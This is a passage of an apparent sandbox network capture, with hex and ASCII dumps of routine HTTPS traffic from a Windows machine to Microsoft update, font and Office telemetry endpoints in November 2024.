2024-11-20 02:21:06 UTC	16384	IN	Data Raw: 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 57 69 74 68 44 61 74 61 42 69 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 7e 74 5b 6e 5d 2e 6e 61 6d 65 2e 69 6e 64 65 78 4f 66 28 22 64 61 74 61 2d 62 69 2d 22 29 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 2c 41 70 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 69 73 54 72 61 63 6b 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 2e 61 74 74 72 69 62 75 74 65 73 2c 6e 3d 30 3b 6e 3c 74 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 22 64 61 74 61 2d 6d 22 3d 3d 3d 74 5b 6e 5d 2e 6e 61 6d Data Ascii: n!0;return!1},Ap.prototype._isTrackedWithDataBi=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if(~t[n].name.indexOf("data-bi-"))return!0;return!1},Ap.prototype._isTracked=function(e){for(var t=e.attributes,n=0;n<t.length;n++)if("data-m"===t[n].nam
2024-11-20 02:21:06 UTC	16384	IN	Data Raw: 75 74 68 54 6f 6b 65 6e 22 2c 61 3d 22 41 75 74 68 58 54 6f 6b 65 6e 22 2c 67 67 3d 22 6d 73 66 70 63 22 2c 76 67 3d 22 75 73 65 72 22 2c 68 67 3d 22 61 6c 6c 6f 77 52 65 71 75 65 73 74 53 65 6e 64 69 6e 67 22 2c 6d 67 3d 22 66 69 72 73 74 52 65 71 75 65 73 74 53 65 6e 74 22 2c 79 67 3d 22 73 68 6f 75 6c 64 41 64 64 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 73 22 2c 43 67 3d 22 67 65 74 43 6c 6f 63 6b 53 6b 65 77 48 65 61 64 65 72 56 61 6c 75 65 22 2c 62 67 3d 22 73 65 74 43 6c 6f 63 6b 53 6b 65 77 22 2c 79 65 3d 22 6c 65 6e 67 74 68 22 2c 54 67 3d 22 63 6f 6e 63 61 74 22 2c 49 67 3d 22 69 4b 65 79 22 2c 45 67 3d 22 63 6f 75 6e 74 22 2c 5f 67 3d 22 65 76 65 6e 74 73 22 2c 53 67 3d 22 70 75 73 68 22 2c 78 67 3d 22 73 70 6c 69 74 22 2c 4e 67 3d 22 73 70 Data Ascii: uthToken",a="AuthXToken",gg="msfpc",vg="user",hg="allowRequestSending",mg="firstRequestSent",yg="shouldAddClockSkewHeaders",Cg="getClockSkewHeaderValue",bg="setClockSkew",ye="length",Tg="concat",Ig="iKey",Eg="count",_g="events",Sg="push",xg="split",Ng="sp
2024-11-20 02:21:06 UTC	16384	IN	Data Raw: 29 29 2c 65 5b 6c 76 5d 26 26 28 65 5b 6c 76 5d 3d 65 61 28 65 5b 6c 76 5d 29 29 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 65 5b 79 76 5d 7c 7c 28 65 5b 79 76 5d 3d 30 29 2c 65 5b 43 76 5d 7c 7c 28 65 5b 43 76 5d 3d 31 29 2c 6c 28 65 29 2c 65 5b 62 76 5d 29 69 66 28 55 7c 7c 61 65 29 65 5b 43 76 5d 3d 33 2c 65 5b 62 76 5d 3d 21 31 3b 65 6c 73 65 20 69 66 28 48 29 72 65 74 75 72 6e 20 57 26 26 28 65 3d 65 61 28 65 29 29 2c 48 5b 72 76 5d 28 45 76 2e 63 72 65 61 74 65 28 65 5b 49 67 5d 2c 5b 65 5d 29 2c 21 30 3d 3d 3d 65 5b 62 76 5d 3f 31 3a 65 5b 62 76 5d 2c 33 29 3b 76 61 72 20 6e 3d 65 5b 43 76 5d 2c 72 3d 63 65 2c 69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.8	49750	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:06 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-20 02:21:06 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=51819 Date: Wed, 20 Nov 2024 02:21:06 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-20 02:21:06 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.8	49828	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:29 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=2rdR+NpUGG9blug&MD=NgHsSw1y HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 02:21:30 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 4a5136c6-4faa-43be-acc1-d52fd7f6d9dd MS-RequestId: 9a27c8aa-dec6-4162-9014-77bcc2a9e8e3 MS-CV: z5NxM/CKHkW7+HDh.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 02:21:29 GMT Connection: close Content-Length: 30005
2024-11-20 02:21:30 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-20 02:21:30 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.8	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:36 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:36 UTC	492	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:36 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Tue, 19 Nov 2024 13:10:03 GMT ETag: "0x8DD089B7B2F27B3" x-ms-request-id: 082f1a68-301e-005d-348c-3ae448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022136Z-1777c6cb754whff4hC1TEBcd6c00000007gg00000000mh0x x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:36 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-20 02:21:36 UTC	16384	IN	Data Raw: 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V
2024-11-20 02:21:36 UTC	16384	IN	Data Raw: 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 Data Ascii: 20v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="T
2024-11-20 02:21:37 UTC	16384	IN	Data Raw: 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d Data Ascii: T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F=
2024-11-20 02:21:37 UTC	16384	IN	Data Raw: 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a Data Ascii: alse"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C>
2024-11-20 02:21:37 UTC	16384	IN	Data Raw: 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 Data Ascii: I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="Cleanup
2024-11-20 02:21:37 UTC	16384	IN	Data Raw: 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 Data Ascii: </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R>
2024-11-20 02:21:37 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C>
2024-11-20 02:21:37 UTC	16384	IN	Data Raw: 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" />
2024-11-20 02:21:37 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 Data Ascii: <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.8	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:37 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:37 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:37 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8753231e-501e-008f-038c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022137Z-r1d97b995774n5h6hC1TEBvf84000000084g00000000eznf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 02:21:37 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.8	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:37 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:37 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 884d2a23-a01e-00ab-5b8c-3a9106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022137Z-1777c6cb754dqf99hC1TEB5nps00000008q000000000r08a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
